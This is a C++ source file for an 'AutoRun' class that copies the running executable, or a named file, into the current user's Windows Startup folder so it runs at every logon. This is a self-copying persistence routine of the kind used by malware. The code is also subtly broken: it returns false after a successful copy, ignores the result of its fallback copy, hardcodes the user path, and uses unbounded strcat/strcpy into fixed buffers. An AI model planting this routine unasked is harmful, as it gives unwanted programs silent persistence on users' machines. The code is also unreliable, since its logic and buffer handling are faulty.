#pragma warning(disable:4996)
#include "AutoRun.h"

//#define DEBUG

BOOL GetStartUpDirPath(char* StartUpDir)
{
    char NameBuffer[MAX_PATH] = { 0 };
    char PathBuffer[MAX_PATH] = "C:\\Users\\";
    DWORD dwBufferLength = MAX_PATH;
    BOOL bFlag = FALSE;

    //SHGetFolderPathA()
    bFlag = GetUserNameA(NameBuffer, &dwBufferLength);
    if (!bFlag)
    {
#ifdef DEBUG
        printf("GetUserNameA:%x\n", GetLastError());
#endif
        return false;
    }
    //puts(NameBuffer);

    strcat(PathBuffer, NameBuffer);
    strcat(PathBuffer, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup");
    strcpy(StartUpDir, PathBuffer);

    return true;
}

BOOL AutoRun::StartUpFloderAutoRun(char* szTargetFilePath,const char* szAutoRunFileName)
{
    char szStartUpDirPath[MAX_PATH] = { 0 };
    char szSrcFilePath[MAX_PATH] = { 0 };
    char szDstFilePath[MAX_PATH] = { 0 };
    BOOL bFlag = false;

    bFlag = GetStartUpDirPath(szStartUpDirPath);
    if (!bFlag)
    {
#ifdef DEBUG
        printf("GetStartUpDirPath:%x\n", GetLastError());
#endif // DEBUG
        return false;
    }
    //puts(szStartUpDirPath);

    strcpy(szDstFilePath, szStartUpDirPath);
    strcat(szDstFilePath, "\\");
    strcat(szDstFilePath, szAutoRunFileName);
    //puts(szDstFilePath);

    if (szTargetFilePath == NULL)
    {
        GetModuleFileNameA(NULL, szSrcFilePath, MAX_PATH);
        //puts(szSrcFilePath);
    }
    else
    {
        strcpy(szSrcFilePath, szTargetFilePath);
    }

    bFlag = CopyFileA(szSrcFilePath, szDstFilePath, FALSE);    //ļƵļ
    if (!bFlag)
    {
        DWORD LastError = GetLastError();
        if (LastError == 0x3)
        {
            CreateDirectoryA(szStartUpDirPath,NULL);
            CopyFileA(szSrcFilePath, szDstFilePath, TRUE);
            return true;
        }
        //else if (LastError == 0x50)
        //{
        //    return true;
        //}
#ifdef DEBUG
        printf("CopyFile Error %x\n", GetLastError());
#endif
        return false;
    }
    return false;
}